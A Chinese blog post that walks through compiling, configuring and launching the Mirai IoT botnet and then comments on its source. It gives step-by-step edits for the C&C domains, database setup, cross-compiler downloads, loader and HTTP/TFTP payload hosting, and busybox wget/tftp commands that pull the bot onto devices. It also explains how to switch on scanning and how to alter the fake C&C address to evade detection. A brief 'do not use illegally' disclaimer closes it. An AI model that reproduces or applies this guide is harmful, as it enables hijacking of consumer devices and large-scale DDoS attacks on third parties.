Mirai 的安装配置和源代码分析

Mirai 简介

Mirai 是一款恶意软件,它可以使运行 Linux 的计算系统成为被远程操控的“僵尸”,以达到通过僵尸网络进行大规模网络攻击的目的。Mirai的主要感染对象是可访问网络的消费级电子设备,例如网络监控摄像机和家庭路由器等。Mirai 的源代码已经以开源的形式发布至黑客论坛。(摘自维基百科)

Mirai 是目前可以通过公开渠道,或者说较为低成本的渠道,得到的最好的 DDOS 攻击工具之一,它的主要感染目标是物联网设备,由原作者在 Hackforum 论坛公开。原始帖子是 World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release,目前源码可以在 Github 上下载到:Mirai Source Code

此外,Mirai 一词是日语的“未来”,且原作者的网名是日语的“安娜前辈”,Mirai 是在 qbot 的基础上演变而来,做了相当大的提升和完善。

Mirai 的编译安装和配置

在原始发布帖子中,作者给出了一份简单的安装指导,在 Github 源码上,也有同样的一份副本。

Mirai 的运行原理

在安装之前,先简要说明一下 Mirai 的整体运行原理,这有助于理解安装过程中,到底是在做些什么。

Mirai 是专门用于 DDOS 的僵尸网络工具,其所控制的僵尸机,主要是路由器,网络摄像头等物联网设备。Mirai 整体分为主控端,爆破消息接收器(scanListen),加载器(Loader),下载服务器等模块。

Mirai 运行时,受到感染的僵尸机会不断扫描网络,以暴力破解的方式,用内置的弱口令字典对网络上开启 Telnet 服务的设备进行尝试登陆,一旦成功,则将该设备信息上报给 scanListen,scanListen 将信息转交给 Loader,Loader 则使用收到的设备信息和对应的登陆口令登陆到该设备上,下载安装 bot 程序,之后,该设备就成为了受感染设备,并重新循环扫描,上报,下载病毒的过程。

此外,设备受到感染后,会主动联系主控端,上报自身信息,完成上线,并保持心跳,以等待主控的攻击指令。

Mirai 的安装

从运行原理和原帖的安装指导中不难看出,安装主要分为编译,主控安装,接收器加载器安装等几部分,本文以两台服务器为例,说明安装过程。一台服务器作为主控,另一台服务器作为加载器,接收器,以及下载服务器。后文有以下约定:

  • 主控服务器域名:Master_domain
  • 主控服务器IP:Master_IP
  • Loader服务器域名:Loader_domain
  • Loader服务器IP:Loader_IP

修改源码配置 Bot

进入源码目录,首先先编译一下

./build.sh debug telnet

有交叉编译的错误可以忽略,主要是将加密工具编译出来,用于加密字符串。之后运行:

./debug/enc string Master_domain
./debug/enc string Loader_domain

将两个输出记录下来,修改 ./mirai/bot/table.c

add_entry(TABLE_CNC_DOMAIN, "\x41...", 30);
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50...", 29);

将两个域名的加密结果填到字符串里面。

修改 ./mirai/cnc/main.go

const DatabaseAddr string   = "127.0.0.1"
const DatabaseUser string   = "root"
const DatabasePass string   = "password"
const DatabaseTable string  = "mirai"

将数据库用户名和密码改成你自己要设定的密码,当然用默认的也可以,如果用默认的,则此处不需要修改。

修改 ./dlr/main.c

#define HTTP_SERVER utils_inet_addr(127,0,0,1)

将 IP 修改为 Loader 服务器的 IP:Loader_IP

修改 ./loader/src/main.c

addrs[0] = inet_addr("192.168.0.1");
addrs[1] = inet_addr("192.168.1.1");

这两个 IP 是 Loader 要绑定的 IP,将 IP 修改为 Loader 服务器的 IP:Loader_IP

if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
{
    printf("Failed to initialize server. Aborting\n");
    return 1;
}

这两个 IP 分别是提供 HTTP 服务和 TFTP 服务的 IP,同样将 IP 修改为 Loader 服务器的IP:Loader_IP

这里需要注意的是,如果你配置有单独的 HTTP 服务器或者 TFTP 服务器,那么 IP 要填写对应的服务器地址,我这里都一样是因为把这些服务都放在了一台服务器上。

此时,针对此次配置需要的修改都已完成。

配置主控服务器和编译环境


apt-get install build-essential 
apt-get install mysql-server mysql-client

数据库密码设定要和刚才的修改保持一致。进入数据库,建立需要的表。


CREATE DATABASE mirai;
use mirai

CREATE TABLE `history` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` int(10) unsigned NOT NULL,
  `time_sent` int(10) unsigned NOT NULL,
  `duration` int(10) unsigned NOT NULL,
  `command` text NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
);

CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  `duration_limit` int(10) unsigned DEFAULT NULL,
  `cooldown` int(10) unsigned NOT NULL,
  `wrc` int(10) unsigned DEFAULT NULL,
  `last_paid` int(10) unsigned NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  `admin` int(10) unsigned DEFAULT '0',
  `intvl` int(10) unsigned DEFAULT '30',
  `api_key` text,
  PRIMARY KEY (`id`),
  KEY `username` (`username`)
);

CREATE TABLE `whitelist` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `prefix` varchar(16) DEFAULT NULL,
  `netmask` tinyint(3) unsigned DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `prefix` (`prefix`)
);

INSERT INTO users VALUES (NULL, 'username', 'password', 0, 0, 0, 0, -1, 1, 30, '');

其中 usernamepassword 是将来登陆主控的口令,可以自己根据喜好设定。然后继续配置主控:


apt-get install golang
apt-get electric-fence
apt-get install git

mkdir /etc/xcompile
cd /etc/xcompile
 
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
 
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-armv5l.tar.bz2 
tar -jxf cross-compiler-armv6l.tar.bz2 
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-i686.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
 
rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-i586 i586
mv cross-compiler-i686 i686
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc

export PATH=$PATH:/etc/xcompile/armv4l/bin/
export PATH=$PATH:/etc/xcompile/armv5l/bin/
export PATH=$PATH:/etc/xcompile/armv6l/bin/
export PATH=$PATH:/etc/xcompile/i586/bin/
export PATH=$PATH:/etc/xcompile/i686/bin/
export PATH=$PATH:/etc/xcompile/m68k/bin/
export PATH=$PATH:/etc/xcompile/mips/bin/
export PATH=$PATH:/etc/xcompile/mipsel/bin/
export PATH=$PATH:/etc/xcompile/powerpc/bin/
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin/
export PATH=$PATH:/etc/xcompile/sh4/bin/
export PATH=$PATH:/etc/xcompile/sparc/bin/
export GOPATH=$HOME/Documents/go

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

环境和主控的配置都已经完成,此时再次编译源代码,然后运行:

./mirai/debug/cnc

此时主控可以启动,登录时显示的是俄文,输入用户名和密码即可登陆。

配置 Loader 服务器

Loader 服务器上包括 HTTP,TFTP,接收器,加载器四个模块。将刚才编译出来的 scanListen,以及 loader 文件夹下和dlr文件夹下编译出来的对应文件拷贝到这台服务器即可。

配置 HTTP

aptitude install apache2

在 apache 根目录建立bins文件夹,将编译出的不同平台的 bot 病毒放入,以供下载。

配置 TFTP

apt-get install -y tftpd-hpa
vim /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/tftpboot"
TFTP_ADDRESS="0.0.0.0:69"
TFTP_OPTIONS="--secure --create"

service tftpd-hpa restart

TFTP 的更多内容参见这里,同样将病毒程序放入自己设置的 TFTP 根目录,以供下载。

配置完毕后,在本机和另外一台机器上运行

/bin/busybox wget http:Loader_IP:80/bins/mirai.ppc -O dvrHelper
/bin/busybox tftp -g -l dvrHelp -r mirai.ppc Loader_IP

运行成功则证明两个服务配置正确。如果此时手里有可供感染的设备列表的话,运行:

cat file.txt | ./loader

可以启动 Mirai。

Mirai 的部分源码分析

Mirai 的源代码分析网上已经有不少,基本从整体结构上做了较为全面的阐述,这里仅对一些细节和一些坑做一些简要说明。

FAKE_ADDR

Mirai 为了增加安全性,在源码中使用了一个假的主控地址,用来迷惑分析人员,真实的地址是从代码中进行解密并请求 DNS 解析进行获取的,假地址位于 ./mirai/bot/includes.h中,如果对 Mirai 进行变异,可以修改这个地址,应该可以规避一些简单的检测。

DNS 解析

Mirai 在 ./mirai/bot/resolv.c 中定义了 DNS 地址,默认是请求 Google 的 DNS 服务器 8.8.8.8 进行地址解析。这个 DNS 地址可以修改,如果是在实验室内网做实验,无法使用 Google 服务的情况下,应该修改成实验室使用的 DNS,不然可能会造成实验无法成功。

killer 的小Bug

Mirai 的 debug 编译和 release 编译有所区别,release 除了不输出各种信息外,其流程也并不完全一样,比如 release 对 Table 的使用并不加锁,运行 Debug 版的时候,信息输出如下:


DEBUG MODE YO
[main] We are the only process on this system!
listening tun0
[main] Attempting[ to kicollennr] eTrcyint g tto ko illCN pCort
 23
[killer] Finding and killing processes holding port 23
Failed to find inode for port 23
[killer] Failed to kill port 23
[killer] Bound to tcp/23 (telnet)
[resolv] Got response from select
[resolv] Found IP address: f3251c73
Resolved xxxx.xxx.xx to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = -335435584
[killer] Detected we are running out of `/Mirai/mirai/debug/mirai.dbg`
[killer] Memory scanning processes
[table] Tried to access table.11 but it is locked
Got SIGSEGV at address: 0x0

其中显示想使用 table.11 ,但是并没有解密,这里应该修改 killer.c的 172 行,在后面加入 table_unlock_val(TABLE_KILLER_STATUS);,在 185 行后面加入 table_lock_val(TABLE_KILLER_STATUS);,重新编译运行,这个报错就会消失。

Bot 的扫描

在 debug 模式下,是观察不到扫描现象的,这是因为源码在 debug 模式中关闭了扫描功能。相关代码在 main.c 中。


#ifndef DEBUG
    if (fork() > 0)
        return 0;
    pgid = setsid();
    close(STDIN);
    close(STDOUT);
    close(STDERR);
#endif

    attack_init();
    killer_init();
#ifndef DEBUG
#ifdef MIRAI_TELNET
    scanner_init();
#endif
#endif

可以看到,不是 debug 模式的时候,才会初始化扫描器,所以将 #ifndef DEBUG#endif注释掉,重新编译,即可开启扫描功能。

table 初始化的启动方式

实验时一般使用 debug 模式编译和实验,但是如果使用 release 版本,就会发现不稳定,甚至无法成功,这是因为 debug 和 release 的初始化方式和控制方式不一样,release 采用信号控制,并且在函数入口的寻找上做了混淆,主要函数是 unlock_tbl_if_nodebug,如果使用 release 版本,可以做一下修改:


#ifndef DEBUG
    (obf_funcs[fold])();
    matches = util_strcmp(argv0, buf_dst);
    util_zero(buf_src, sizeof (buf_src));
    util_zero(buf_dst, sizeof (buf_dst));
    return matches;
#else
    table_init();
    return TRUE;
#endif

将这段代码里面的 debug 模式和 release 模式调换。

关于杀灭设备中的其他病毒

Mirai 具有独占性,一旦Mirai 感染了某一个设备,它会寻找设备上的其他僵尸网络,并将其杀掉,以让自己成为这个设备的唯一控制者,其杀死竞争者的相关代码位于 killer.c 中。经过解密,我发现它给其他 bot 的特征的定义是:


REPORT %s:%s
HTTPFLOOD
LOLNOGTFO
zollard
GETLOCALIP

也就是说,如果在进程路径名中发现了以上这些字符串,则杀掉那个进程。

此外,Mirai 对自身进程名做了伪装,每次运行 Mirai,其进程名字都是随机的字符串,所以如果对 Mirai 进行变异,并且想杀掉 Mirai 的话,并不能用 Mirai 检测其他bot的方法,来检测 Mirai 自身。

Mirai 可能是半成品

从 Mirai 的编译脚本和代码中分析,Mirai 定义了 TELNET 和 SSH 两个编译选项,并且代码中有相关的宏开关,但是从目前的代码看,并未发现 SSH 猜解和登陆的相关功能。

个人猜测 Mirai 原本打算开发 TELNET 和 SSH 两个功能,但是目前只完成了一半,或许是只完成了一半,或许是 SSH 的部分原作者并未放出,真实情况不得而知。

Mirai 小结

Mirai 的发布可以讲是一件大事,无论对于白帽还是黑产均是如此。本文仅对工具的配置使用做一总结,请勿用于非法用途。

而且事实上,由于 Mirai 具有独占性,直接将源码编译应用,其实并不会有很好的实战效果,目前已经出现了众多变异版本,比如将字典缩减到两三个成功率最高的口令,针对最新漏洞进行扫描等等。

Mirai 为后续此类病毒的编写提供了一个标准的框架,真的是授人以渔啊,估计未来的变异版本和相关影响都不容小觑。

comments powered by Disqus